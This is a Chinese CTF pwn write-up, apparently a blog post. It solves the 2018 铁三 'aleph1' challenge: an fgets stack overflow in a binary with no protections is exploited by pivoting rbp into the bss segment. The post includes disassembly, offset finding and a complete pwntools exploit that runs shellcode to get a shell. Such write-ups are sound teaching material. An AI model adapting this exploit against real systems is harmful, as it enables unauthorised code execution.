- 2018 铁三东北赛区之 aleph1 rbp 栈迁移
- return to dl resolve 利用 i386 roputils 库
- 提权读写空指针 利用中断门提权并挂载物理页
- RCTF2015 之 welpwn 64位构造 ROP 过掉 00 截断
- XDCTF2015 之 pwn200 DynELF 实现无 libc 利用
- pwnable.tw 之 hacknote uaf 利用
- pwnable.kr 之 unlink 堆还是栈?
- pwnable.kr 之 uaf 虚表利用
- 360 春秋杯之 smallest SROP 利用
- 网鼎杯 Pwn 之 GUESS ssp leak + environ 泄露
- 32 位 fmtstr 漏洞利用 记一 32 位格式化字符串漏洞利用
- 网鼎杯 Pwn 之 babyheap unlink+uaf+fastbin attack
- 网鼎杯 Pwn 之 blind _IO_FILE 利用
- 网鼎杯 Pwn 之 pesp 多方法解题
- House of orange 无 free 的堆利用
- 2018 湖湘杯 Reverse 之 Replace
- 南邮 NCTF 2018 之 smallbug2
- 铁三 2018 全国总决赛之 littlenote
- 铁三 2018 全国总决赛之 bookstore
- 铁三 2018 全国总决赛之 myhouse
- pwnable.tw 之 un3xp10itabl3
- pwnable.tw 之 D3-a5lr
- NCTF 2018 之 homura
- 2019 西湖论剑 writeup
- 2019 强网杯 writeup 之 PWN+Reverse 部分
- 西湖论剑线下个人赛 writeup pwn 部分
- 关于 smallbin 的利用
- 春秋杯网络安全公益联赛 BFnote 出题小结
- easy_unicorn 基于 unicorn 的沙盒逃逸
- Kernel Pwn gnote - TokyoWesterns CTF 2019
2018 铁三东北赛区之 aleph1 rbp 栈迁移
0x00 漏洞分析
检查保护
root@kali:~# checksec aleph1
[*] '/root/aleph1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
没有开启任何保护,拖进IDA
伪代码如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
char yolo[1024]; #[rsp+0h] [rbp-400h]
fgets(yolo, 1337, _bss_start);
return 0;
}
汇编代码如下
0x4005ca <main>: push rbp
0x4005cb <main+1>: mov rbp,rsp
0x4005ce <main+4>: sub rsp,0x400
0x4005d5 <main+11>: mov rdx,QWORD PTR [rip+0x200a54] #0x601030<stdin@@GLIBC_2.2.5>
0x4005dc <main+18>: lea rax,[rbp-0x400]
0x4005e3 <main+25>: mov esi,0x539
0x4005e8 <main+30>: mov rdi,rax
0x4005eb <main+33>: call 0x4004d0 <fgets@plt>
0x4005f0 <main+38>: mov eax,0x0
0x4005f5 <main+43>: leave
0x4005f6 <main+44>: ret
函数原型
char *fgets(char *buf, int bufsize, FILE *stream);
从文件结构体指针stream中读取数据,每次读取一行。读取的数据保存在buf指向的字符数组中,每次最多读取bufsize-1个字符(第bufsize个字符赋'\0').
明显fgets()函数存在溢出,但是我在尝试了用__libc_csu_init函数的通用ROP,但仔细一想,第三个参数用的是标准输入,而这个以指针的方式存在于bss段中。我们没办法定位stdin的实际地址,传入rdx。如果通过传统的方式,很难完成第三个参数的传递,就没法完成第二次输入。
后发现rbp可利用,所以采用rbp迁移的方法溢出。
0x01 漏洞利用
1.测得偏移为1032
gdb-peda$ pattern offset DAn;An)AnEAnaAn0AnFA
found at offset: 1032
2.覆盖rbp为bss+0x400
,覆盖ret返回到0x4005d5 <main+11>: mov rdx,QWORD PTR [rip+0x200a54]
因为push rbp
将rbp
压入栈,所以覆盖栈中的rbp为(bss+0x400),为什么要这样覆盖?第一个buf参数为rbp-0x400,第二次执行fgets时要向bss段首写入shellcode,所以要将bss段地址加上0x400
3.二次执行fgets时,将shellcode写入了bss段首,并继续写入其他数据填满0x400+p64(任意)个字节后填一个bss段首地址.执行到leave
指令时,rbp=bss+0x400,leave
可简化为mov rsp,rbp ; pop rbp
, mov rsp,rbp
将栈迁移到bss+400,pop一个任意值到rbp,ret到bss段首,执行shellcode,拿下shell
0x02 完整exp
from pwn import*
import pwnlib
context(os='linux', arch='amd64', log_level='debug')
e=ELF("./aleph1")
fgets_plt=e.plt['fgets']
bss_addr = e.bss()
shellcode=asm(shellcraft.sh())
shellcode+='A'*984
shellcode+=p64(bss_addr)
payload='a'*1024+p64(bss_addr+0x400)+p64(0x4005D5)
s=process("./aleph1")
s.sendline(payload)
#pwnlib.gdb.attach(s)
s.sendline(shellcode)
s.interactive()
0x03 运行结果
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论